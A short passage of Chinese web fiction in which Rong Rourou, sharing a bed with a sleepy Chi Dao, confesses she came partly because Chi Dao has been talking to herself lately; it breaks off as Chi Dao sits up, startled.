听着身边人的话,迟岛默默地把视线转向地上的纸巾,有气无力地说:“地上不让扔垃圾。”
“哦哦,我这就捡起来。”
“……”
直到躺在床上,两人盖着迟岛那叫不上名的花绿被子,都靠着床边躺着,中间仿佛隔了一条银河。
天色早就已经不算早了,之前还干了那么久的活,迟岛侧躺着躺在枕头上,闭上眼呼吸渐渐平稳。
如果不出意外的话,感觉可以一觉睡到天亮。
可是……
“哎,迟岛?迟岛你睡了吗?”容柔柔往迟岛这边蹭了蹭,压低声音小得几乎听不见。
迟岛蹙眉,把她扒拉到一边,自己裹着被子翻了个身:“已经睡了。”
眼见着被子几乎被全部裹着的容柔柔:“……”
“睡了你还说话?”
迟岛快困死了,胡乱答应着,最后实在不耐烦了:“到底干嘛。”
容柔柔张张嘴,话临近关头,却倒是不知道该怎么说了,她往挪回另一边,躺好盖上被子。
声音依旧压得很低:“其实,我来找你也不全是因为和江星冉吵架了,还因为……你最近有点奇怪。”
迟岛迷迷糊糊打了个哈欠:“哪里奇怪?”
容柔柔侧过头看了迟岛一眼,犹豫着说:“就……总是自言自语,你……是不是。”
迟岛瞬间被吓清醒,坐直,蹙眉看着容柔柔:“是什么?”